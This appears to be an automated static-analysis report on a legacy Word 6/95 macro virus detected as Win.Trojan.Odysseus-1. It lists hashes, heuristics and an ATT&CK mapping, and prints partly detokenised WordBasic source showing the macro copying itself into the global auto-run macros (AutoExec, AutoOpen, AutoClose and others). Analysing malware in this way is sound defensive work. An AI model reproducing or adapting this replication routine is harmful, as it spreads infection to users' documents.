Win.Trojan.Odysseus-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 543302e05bd27803…

MALICIOUS

Office (OLE)

6.5 KB First seen: 2012-06-14
MD5: 636db71f744799a44f1478f9a80c2c11 SHA-1: 4a9877ac00389fe1c351a1ab602504204e85b0a7 SHA-256: 543302e05bd278034368dd44d72754cf80c49388ed1b54dd9a86496ff4a00c79
102 Risk Score

Malware Insights

Win.Trojan.Odysseus-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, specifically identified as a 'RSN MACRO VIRUS Goat file' and linked to the 'Odysseus Macro Virus Construction Kit'. The presence of WordBasic macro virus markers and the ClamAV detection as 'Win.Trojan.Odysseus-1' strongly suggest its malicious nature. The document body contains explicit references to macro virus construction and infection routines.

Heuristics 3

  • ClamAV: Win.Trojan.Odysseus-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Odysseus-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 484 bytes
SHA-256: 49006b8ba059784d078bfac2a9990e19bce45324904fac191a8d797e569298f1
Preview script
First 1,000 lines of the extracted script
MAIN
, - * Errorhandler
      28261        
Fname$ = @cmd8025
MacName$ = Fname$ = ":AutoOpen"
@cmd0056 = "[Created With Odysseus Version 1.00]"
    19744 @cmd2065      
@cmd0056 =
@cmd0056
=
      25199 21536 29793
@cmd80c2 MacName$ , "Global:AutoExec"
@cmd80c2 MacName$ , "Global:AutoNew"
@cmd80c2 MacName$ , "Global:AutoOpen"
@cmd80c2 MacName$ , "Global:AutoClose"
@cmd80c2 MacName$ , "Global:AutoExit"
29285   =
29285
@cmd8023 = 1
@cmd80c2 "Global:AutoOpen" , MacName$
@cmd0054 = 1

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